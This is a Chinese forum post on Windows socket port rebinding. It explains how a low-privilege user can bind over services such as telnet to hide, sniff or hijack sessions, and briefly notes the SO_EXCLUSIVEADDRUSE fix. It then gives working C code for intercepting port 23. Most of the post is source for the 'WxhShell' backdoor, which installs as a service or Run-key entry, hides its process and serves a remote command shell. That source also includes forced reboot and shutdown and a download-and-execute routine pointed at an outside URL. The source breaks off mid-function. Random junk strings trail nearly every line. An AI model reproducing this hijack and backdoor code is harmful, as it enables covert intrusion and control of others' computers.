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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @"0N@gU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rw{v"n  
 ~M^7qO  
  saddr.sin_family = AF_INET; K y4y  
S 2 h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GK+\-U)v  
-Us% g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }~C ZqIP  
P_g0G#`4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T\s#-f[x  
 ;yER V  
  这意味着什么?意味着可以进行如下的攻击: RHAr[$  
XXwhs-:o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q vVZA*  
x7 1!r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xsn- +e  
_]ttKT(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ulSTR f  
q4ko}jn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6:z&ukq E  
=+=|{l?F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RH4n0 =2  
"l,EcZRjTz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U(]5U^  
,$qs9b~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H.[&gm}p>  
<({eOh5 N  
  #include {]Iu">*  
  #include U`p<lxRgQ  
  #include _w/N[E  
  #include    5a_!&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l<: E+lU  
  int main() JI,hy <3l0  
  { .*f4e3  
  WORD wVersionRequested; kpw4Mq@  
  DWORD ret; W!B4< 'Fjc  
  WSADATA wsaData; Kcdd=2 [T  
  BOOL val; S^VV^O5 ^  
  SOCKADDR_IN saddr; a[cH@7W.#  
  SOCKADDR_IN scaddr; : 8<^rP  
  int err; X/7_mU>aKT  
  SOCKET s; 3M*[a~  
  SOCKET sc; *K.7Zf0  
  int caddsize; [f(^vlK  
  HANDLE mt; d>98 E9  
  DWORD tid;   BF [?* b  
  wVersionRequested = MAKEWORD( 2, 2 ); :tG".z  
  err = WSAStartup( wVersionRequested, &wsaData ); K y2xWd8  
  if ( err != 0 ) { wXGFq3`  
  printf("error!WSAStartup failed!\n"); 1WN93 SQ=  
  return -1; LHz<=]?@  
  } VEEeQy  
  saddr.sin_family = AF_INET; {-`OE  
   c]R![sa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3&Rqz9W  
B[|/wHMsT}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $K fk=@  
  saddr.sin_port = htons(23); uWj-tzu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 76r s)J[*w  
  { F_ Cz  
  printf("error!socket failed!\n"); ~MQf($]  
  return -1; Q%1;{5   
  } T2;  9  
  val = TRUE; WA5kX SdIb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 esFL<T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [eP]8G\ W  
  { #}yFHM?i  
  printf("error!setsockopt failed!\n"); 7 ~8Fs@  
  return -1; %9Fg1LH42r  
  } X*"O'XCA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bd*(]S9d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L/LN X{|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l>?vjy65  
DkKD~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }B/xQsTx-  
  { {*$J&{6V  
  ret=GetLastError(); j5^b~F%  
  printf("error!bind failed!\n"); M':.b+xN  
  return -1; .Awq(  
  } !I/kz }N@  
  listen(s,2); v>!}cB/6  
  while(1) oXkhj,{y5  
  { /n7,B}  
  caddsize = sizeof(scaddr); Jz0S2&  
  //接受连接请求 tp2 _OQAQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o9\m? ~g!E  
  if(sc!=INVALID_SOCKET) i~L7h=__  
  { 'Jr*oru  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HbDB?s<  
  if(mt==NULL) ,!4_Uc  
  { 5c7a\J9>  
  printf("Thread Creat Failed!\n"); qW>J-,61/  
  break; #[yl;1)  
  } &>fd:16  
  } E_rC"_Zte  
  CloseHandle(mt); C8q-gP[  
  } 8!>pFVNJf  
  closesocket(s); li P{Mu/LO  
  WSACleanup(); D9C; JD  
  return 0; CnYX\^Ow  
  }   k>hZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) k8V0-.UL}  
  { Wh_c<E}&  
  SOCKET ss = (SOCKET)lpParam; CI'5JOqP  
  SOCKET sc;  E/;YhFb[  
  unsigned char buf[4096]; \c}r6xOr  
  SOCKADDR_IN saddr; j=S"KVp9NF  
  long num; wJkkc9Rh'(  
  DWORD val; 2]ljm] \l  
  DWORD ret; )^sfEYoA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u;g}N'"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [rsAY&.  
  saddr.sin_family = AF_INET; cA2]VL.r>C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # t Ki6u  
  saddr.sin_port = htons(23); ,_zt? o\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mv =;+?z!  
  { \s'6)_  
  printf("error!socket failed!\n"); e)"cm;BJ^P  
  return -1; Lr:K0A.Ch  
  } xII!2.  
  val = 100; ]XyJ7esg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) So`"z[5  
  { {rLOAewr  
  ret = GetLastError(); ;A!i V |  
  return -1; *2;3~8Y  
  } L 3@wdC ~0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c= u ORt>  
  { mH .I!  
  ret = GetLastError(); +8I0.,'  
  return -1; a!]%@A6p  
  } 7yl'!uz)9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 92Iv'(1ba  
  { "O "@HVF@  
  printf("error!socket connect failed!\n"); -',Y;0b%  
  closesocket(sc); h%S#+t(Bf  
  closesocket(ss); -wRzMT19MG  
  return -1; .`XA6e(8KR  
  } DYK|"@  
  while(1) -NeF6  
  { E!M+37/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EMbsKG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C:{'0m*jKs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K%Bi8d  
  num = recv(ss,buf,4096,0); +i =78  
  if(num>0) {o`5&EoM  
  send(sc,buf,num,0); [4yQ-L)]e  
  else if(num==0) a\E]ueVD2j  
  break; _A r ,]v  
  num = recv(sc,buf,4096,0); H#E0S>Jw|  
  if(num>0) Nl _Jp:8s  
  send(ss,buf,num,0);  P_g  
  else if(num==0) |0-L08DW  
  break; * =l9gv&  
  } + aF jtb  
  closesocket(ss); pp jrm  
  closesocket(sc); nv]64mL3  
  return 0 ; 1S:H!h3  
  } :9Pqy pd+  
Fu$sfq  
}.zn:e  
========================================================== jtwO\6 t&  
m>_'f{&u  
下边附上一个代码,,WXhSHELL i^l;PvIF  
ZxW V ,s&p  
========================================================== Op{Mc$5a  
/o2eKx  
#include "stdafx.h" ."O(Ig[  
i1C'  
#include <stdio.h> <0m;|Ai'W  
#include <string.h> v*LL7b0 A  
#include <windows.h> Kw|`y %~  
#include <winsock2.h> RI=B(0 A  
#include <winsvc.h> [tN/}_]  
#include <urlmon.h> RP9||PFS~~  
xj<SnrrC]u  
#pragma comment (lib, "Ws2_32.lib")  M > <   
#pragma comment (lib, "urlmon.lib") V*~5*OwB  
tG-MC&;=  
#define MAX_USER   100 // 最大客户端连接数 2RCnk&u  
#define BUF_SOCK   200 // sock buffer S0`*  
#define KEY_BUFF   255 // 输入 buffer MNzq}(p  
plq\D.C  
#define REBOOT     0   // 重启 14R))Dz"  
#define SHUTDOWN   1   // 关机 r[~$  
y8@!2O4  
#define DEF_PORT   5000 // 监听端口 sBwgl9  
cg5DyQ(  
#define REG_LEN     16   // 注册表键长度 ` g~-5Z~J  
#define SVC_LEN     80   // NT服务名长度 5{> cfN\q  
m[f\I^ \%8  
// 从dll定义API T$e_ao|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I f(_$>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P$bo8*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EbQ}w"{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5tL6R3  
*QX$Mo^E  
// wxhshell配置信息 iu'yB  
struct WSCFG { JY,+eD  
  int ws_port;         // 监听端口 (hoqLL\}k  
  char ws_passstr[REG_LEN]; // 口令 xjYFTb}!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;z68`P-  
  char ws_regname[REG_LEN]; // 注册表键名 <#UvLll  
  char ws_svcname[REG_LEN]; // 服务名 `t -3(>P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7o<RvM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [g? NU]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z,tax`O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _!C H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -]e@cevy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a/ZfPl0Ns[  
^RyrUb  
}; ,x/j&S9!  
lQzrf"N'  
// default Wxhshell configuration 62"ND+D4  
struct WSCFG wscfg={DEF_PORT, fCKcv |  
    "xuhuanlingzhe", &V"&SV>}  
    1, n!p&.Mt  
    "Wxhshell", ]:;gk&P  
    "Wxhshell", ":Q^/;D}U  
            "WxhShell Service", gS%J`X$  
    "Wrsky Windows CmdShell Service", }73H$ss:  
    "Please Input Your Password: ", ;3!TOY"j;e  
  1, P1kd6]s  
  "http://www.wrsky.com/wxhshell.exe", seq$]  
  "Wxhshell.exe" :MVD83?4  
    }; a'Z"Yz^Eo  
OQq7|dZu  
// 消息定义模块 F2&KTK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G>Q{[m$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L`\ILJz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6T-(GHzfHJ  
char *msg_ws_ext="\n\rExit."; #L"h >,b  
char *msg_ws_end="\n\rQuit."; ~4M]SX1z  
char *msg_ws_boot="\n\rReboot..."; &e(de$}xt  
char *msg_ws_poff="\n\rShutdown..."; i< ih :  
char *msg_ws_down="\n\rSave to "; _ |; bh  
i[<O@Rb  
char *msg_ws_err="\n\rErr!"; 6Z$T& Ul{  
char *msg_ws_ok="\n\rOK!"; W +S>/`N  
`{ /tx!  
char ExeFile[MAX_PATH]; y& )z\8  
int nUser = 0; e\89;)  
HANDLE handles[MAX_USER]; Q_dFZ  
int OsIsNt; +#W5Qb}VR  
mUjA9[@   
SERVICE_STATUS       serviceStatus; -+L1Hid.7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <AVpFy  
W`Soa&9  
// 函数声明 \rpu=*gt  
int Install(void); $j:0*Z=>  
int Uninstall(void); &~j"3G;e  
int DownloadFile(char *sURL, SOCKET wsh); U+K_eEI0_I  
int Boot(int flag); * .e^s3q$  
void HideProc(void); +RbCa c  
int GetOsVer(void); aU3&=aN+  
int Wxhshell(SOCKET wsl); dCHU* 7DS  
void TalkWithClient(void *cs); olqHa5qn  
int CmdShell(SOCKET sock); u^ T2  
int StartFromService(void); T:si?7CR  
int StartWxhshell(LPSTR lpCmdLine); ."R 2^`  
W46sKD;\^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d; M&X!Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R\<^A~(Gl  
k: {$M yK  
// 数据结构和表定义 ''Hq-Ng  
SERVICE_TABLE_ENTRY DispatchTable[] = aAX 8m  
{ Rzb] mM  
{wscfg.ws_svcname, NTServiceMain}, S4Rv6{r:  
{NULL, NULL} (]ORB0kl  
}; znM"P|A  
S\C   
// 自我安装 A%9"7]:   
int Install(void) lU@ni(69d  
{ B *:6U+I  
  char svExeFile[MAX_PATH]; ^x q%P2s0  
  HKEY key; 03,+uf  
  strcpy(svExeFile,ExeFile); Sh"} c2  
w,\Ua&>4  
// 如果是win9x系统,修改注册表设为自启动 "^u|vCqw  
if(!OsIsNt) { ZXco5,1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k -SUp8}g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dr;@)  
  RegCloseKey(key); w}'E]y2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ~d }-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L<E`~\C'  
  RegCloseKey(key); bNqjjg  
  return 0; Abj`0\  
    } t+vn.X+&  
  } q* m%Fv  
} t?/#:J*_7  
else { % $ 5hC9  
?^yZVmAo]  
// 如果是NT以上系统,安装为系统服务 N%`ikdaTd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *u-TNg  
if (schSCManager!=0)  yXDf;`J  
{ 2lGq6Au:  
  SC_HANDLE schService = CreateService }C)   
  ( s|q B;  
  schSCManager, nOOA5Gz   
  wscfg.ws_svcname, -8-Aqh8|  
  wscfg.ws_svcdisp, GwpJxiFgk  
  SERVICE_ALL_ACCESS, 0.?|%;^ib  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FO*Py)/rX  
  SERVICE_AUTO_START, D[U5SS!)  
  SERVICE_ERROR_NORMAL, /P,J);Y  
  svExeFile, ed& ,  
  NULL, IH{g-#U  
  NULL, dLv\H&  
  NULL, = uOFaZ4  
  NULL, 0`_Gj{:L  
  NULL 75{QBlf<  
  ); #MI}KmH  
  if (schService!=0) ')go/y`YK  
  { ];IUiS1  
  CloseServiceHandle(schService); KSLyU1W  
  CloseServiceHandle(schSCManager); p#3P`I>ZrT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 65MR(+3  
  strcat(svExeFile,wscfg.ws_svcname); {+Eq{8m`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NC0x!tJ#7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xmtq~}K>  
  RegCloseKey(key); KaOS!e'  
  return 0; &C?]n.A  
    } -[ F<u  
  } N>VA`+aFR  
  CloseServiceHandle(schSCManager); 3EAu#c@q"  
} `57ffQR9  
} Dtelr=/s  
o-/Xa[yC  
return 1; 9!PJLI=D  
} "Sl";.   
3 bGpK9M~  
// 自我卸载 2c}>} A4  
int Uninstall(void) cp[k[7XGD  
{ _t3n<  
  HKEY key; t + Fm?  
xez~Yw2  
if(!OsIsNt) { :)bm+xWFF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { is`le}$^y  
  RegDeleteValue(key,wscfg.ws_regname); 5y@JMQSO  
  RegCloseKey(key); =eYrz@,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aA=qel  
  RegDeleteValue(key,wscfg.ws_regname); "]`!#5j^WP  
  RegCloseKey(key); ?/NxZ\  
  return 0; '%kk&&3'  
  } w,D(zk$   
} m ?LOd9  
} 7LKNEll  
else { y~;Kf0~  
'R?;T[s%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sJ!AI n<  
if (schSCManager!=0) /O+,vRw\A  
{ ><5tnBP|+L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H$WuT;cTE  
  if (schService!=0) 7 zK%CJ  
  { <T<?7SE+  
  if(DeleteService(schService)!=0) { D24@lZ`g~  
  CloseServiceHandle(schService); +ImPNwrY  
  CloseServiceHandle(schSCManager); u9QvcD^'z  
  return 0; umK~K!i  
  } <[kdF")  
  CloseServiceHandle(schService); rs'~' Y  
  } G^5}T>TV  
  CloseServiceHandle(schSCManager); W8R@Pf  
} _G,`s7Q,w  
} MHk\y2`/;  
3\G&fb|?}R  
return 1; V#=o<  
} &.;tdT7  
r@^h,  
// 从指定url下载文件 5q}680s9+  
int DownloadFile(char *sURL, SOCKET wsh) u:NSPAD)  
{ UVA|(:  
  HRESULT hr; x-mRPH  
char seps[]= "/"; u-yQP@^H  
char *token; %jim] ]<S[  
char *file; Fz~-m#Ts  
char myURL[MAX_PATH]; R"VmN2  
char myFILE[MAX_PATH]; H5{d;L1[  
SX$v&L<  
strcpy(myURL,sURL); c{7!:hi`x  
  token=strtok(myURL,seps); }LN +V~  
  while(token!=NULL) l+Uy  
  { *dL!)+:d  
    file=token; E_MGejm@  
  token=strtok(NULL,seps); G(EiDo&  
  } SZea[~ &  
1|Us"GQ (n  
GetCurrentDirectory(MAX_PATH,myFILE); &AG,]#  
strcat(myFILE, "\\"); e@F9'z4  
strcat(myFILE, file); m = "N4!  
  send(wsh,myFILE,strlen(myFILE),0); f)~urGazS  
send(wsh,"...",3,0); DI"mi1ObE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rku9? zf^  
  if(hr==S_OK) S zsq|T  
return 0; "(>P=  
else ,GA2K .:#  
return 1; 8.ll]3))  
swntz  
} 5\A[ra  
_t_X`  
// 系统电源模块 mvyqCOp 0  
int Boot(int flag) _jQ"_Ff  
{ 4jfkCU  
  HANDLE hToken; 6V KsX+sd  
  TOKEN_PRIVILEGES tkp; Uo#% f+t  
_ko16wfg  
  if(OsIsNt) { +'Ec)7m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }E+#*R3auB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K1AI:$H  
    tkp.PrivilegeCount = 1; G>qzAgA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GNlP]9wX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w(zlHj  
if(flag==REBOOT) { S~.:B2=5K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nb9qVuAGU  
  return 0; xv4_q-r[  
} lU`]yL  
else {  K!VIY|U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _=Ed>2M)no  
  return 0; yZE"t[q#O  
} Z_.Eale^  
  } gBA UrY%]  
  else { &9g4/c-?$  
if(flag==REBOOT) { k4FxdX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u[$ \ az7  
  return 0; +1zCb=;!{  
} ! ~u;CMR  
else { NpG5$?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ],YIEOx6  
  return 0; -K9bC3H  
} p,.+i[V  
} ^p ?O1qTg  
7{e0^V,\k  
return 1; z|; 7;TwA  
} BFmd`#{l  
?>SC:{(  
// win9x进程隐藏模块 rV>/:FG  
void HideProc(void) fgVeB;k|  
{ [#S}L(  
H|T!}M>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  I0trHrX9  
  if ( hKernel != NULL ) G%_6" s  
  { +YVnA?r?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X YO09#>&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'yuM=Pb  
    FreeLibrary(hKernel); 484lB}H  
  } mojD  
>DeG//rv  
return; P$?3\`U;  
} 20h|e+3  
?&W1lYY  
// 获取操作系统版本 c%%r  
int GetOsVer(void) xs_l+/cZ  
{ zA4m !l*eM  
  OSVERSIONINFO winfo; BQq,,i8H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bU9B2'%E  
  GetVersionEx(&winfo); ;gfY_MXnF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /^v?Q9=Y  
  return 1; #-?pY"N,  
  else )xYv$6=  
  return 0; m22M[L(q  
} 28J ; 9  
4)./d2/E  
// 客户端句柄模块 x;ym_UZ6e  
int Wxhshell(SOCKET wsl) \' (_r  
{ {Bk9]:'$5  
  SOCKET wsh; t>p!qKrE'J  
  struct sockaddr_in client; GInU7y904  
  DWORD myID; teh$W<C  
jsL\{I^>  
  while(nUser<MAX_USER) HL-zuZa`Ju  
{ 9N5ptdP.d  
  int nSize=sizeof(client); d:jD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  yG -1g0  
  if(wsh==INVALID_SOCKET) return 1; eq +t%  
R?@F%J;tx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *IL x-D5qr  
if(handles[nUser]==0) h$7rEs  
  closesocket(wsh); oxT..=-  
else h >V8YJ  
  nUser++; iy_'D  
  } #n&/yYl9(l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6z3 Yq{1  
ma@3BiM  
  return 0; #Bq.'?c'~  
} .zxP,]"l  
aVsA5t\zi  
// 关闭 socket ip6$Z3[)  
void CloseIt(SOCKET wsh) /c/t_xB  
{ Y Y4"r\V  
closesocket(wsh); $@k[Xh  
nUser--; 8;2UP`8s?  
ExitThread(0); am;)@<8~Q  
} %%J)@k^vH  
pMZKF=  
// 客户端请求句柄 ^~~&[wY  
void TalkWithClient(void *cs) $t.i)wg +  
{ #Ezq}F8Y  
F ^& Rg  
  SOCKET wsh=(SOCKET)cs; <X9  T}g  
  char pwd[SVC_LEN]; {.c(Sw}Eo  
  char cmd[KEY_BUFF]; |^&n\vXv  
char chr[1]; QH%Zbt2qS  
int i,j; F&?55@b  
:.5l9Ci4  
  while (nUser < MAX_USER) { >'IFr9&3  
hm#S4/=#  
if(wscfg.ws_passstr) { +76{S_CZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ds@X%L;_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g=w,*68vuy  
  //ZeroMemory(pwd,KEY_BUFF); A$*#n8 ,  
      i=0; O%RkU?ME  
  while(i<SVC_LEN) { ,M@LtA3g  
~&-8lD];LM  
  // 设置超时 0uX"KL]Elf  
  fd_set FdRead; sjh>i>t  
  struct timeval TimeOut; P(OgT/7A  
  FD_ZERO(&FdRead); &6!~Q,;K-  
  FD_SET(wsh,&FdRead);  z.fh4p  
  TimeOut.tv_sec=8; %JmRJpCvR  
  TimeOut.tv_usec=0; _ 4:@+{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ShXk\"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yh9fHN)F  
{ctEjgiE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /7WN,a  
  pwd=chr[0]; W_k;jy_{9  
  if(chr[0]==0xd || chr[0]==0xa) { V=yRE  
  pwd=0; e.pm`%5bO  
  break; w`Q"mx*  
  } 0Y rdu,c  
  i++; RiHOX&-7  
    } Wn;B~  
q-c9YOz_  
  // 如果是非法用户,关闭 socket Z9cg,#(D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [e1kfw  
} hjCFN1 #Sa  
zh5'oE&[yC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dre@V(\;hQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X r7pFw  
'[u=q -Lv  
while(1) { VayU   
\QF\Bh  
  ZeroMemory(cmd,KEY_BUFF); En&bwLu:s  
f:$LVpXS-  
      // 自动支持客户端 telnet标准   T3po.Km\{  
  j=0; :1%z;  
  while(j<KEY_BUFF) { YTBZklM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vfID@g`!q+  
  cmd[j]=chr[0]; 3{e7j6u\  
  if(chr[0]==0xa || chr[0]==0xd) { [hy:BV6H+  
  cmd[j]=0; gH87e  
  break; ;zy[xg.7  
  } ejq2]^O4c  
  j++; J?/.|Y]e  
    } O6rrv,+_L  
>dH5n$Gb  
  // 下载文件 <^:e)W  
  if(strstr(cmd,"http://")) { g=eYl_P6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yX:A?U  
  if(DownloadFile(cmd,wsh)) .Z=4,m>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  =[Lo9Sg  
  else jO'+r'2B9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3/ sKRU  
  } )h(Dt(2Wm  
  else { }7k!>+eQ  
F\m  
    switch(cmd[0]) { a`}b'X:  
  y/' ^r?  
  // 帮助 -9BKa~ DVQ  
  case '?': { xw60l&s.\L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l!2hwRR  
    break; 8?qEv,W  
  } Y-(),k_Q:  
  // 安装 HV:mS*e  
  case 'i': { cv fh:~L  
    if(Install()) "BB#[@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <pd6,l\  
    else 5j(3pV`_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y w"Tw  
    break; !\{&^,y  
    } aQax85  
  // 卸载 7mulNq  
  case 'r': { S@suPkQ<>  
    if(Uninstall()) wn*z*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N*t91 X  
    else r4Ygy/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZdQm& ?  
    break; >M.?qs4  
    } uA;3R\6?  
  // 显示 wxhshell 所在路径 wK 8/`{B9  
  case 'p': { />fP )56*  
    char svExeFile[MAX_PATH]; 'BT}'qN  
    strcpy(svExeFile,"\n\r"); T-7'#uB.m  
      strcat(svExeFile,ExeFile); G?-27Jk8  
        send(wsh,svExeFile,strlen(svExeFile),0); y<YVb@O.  
    break; AYHfe#!  
    } s PNX)  
  // 重启 DbSl}N;  
  case 'b': { 4-q7o]%5<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uo{h. .7?  
    if(Boot(REBOOT)) V43pZ]YZ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H) g:<  
    else { #8;|_RU  
    closesocket(wsh); Vv(!Ki}  
    ExitThread(0); s{q)m@  
    } { .KCK_ d  
    break; *[*E|by  
    } p},6W,f  
  // 关机 hq9b  
  case 'd': { yhr\eiJ@6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 q<UJIf  
    if(Boot(SHUTDOWN)) )>LQ{ X.  
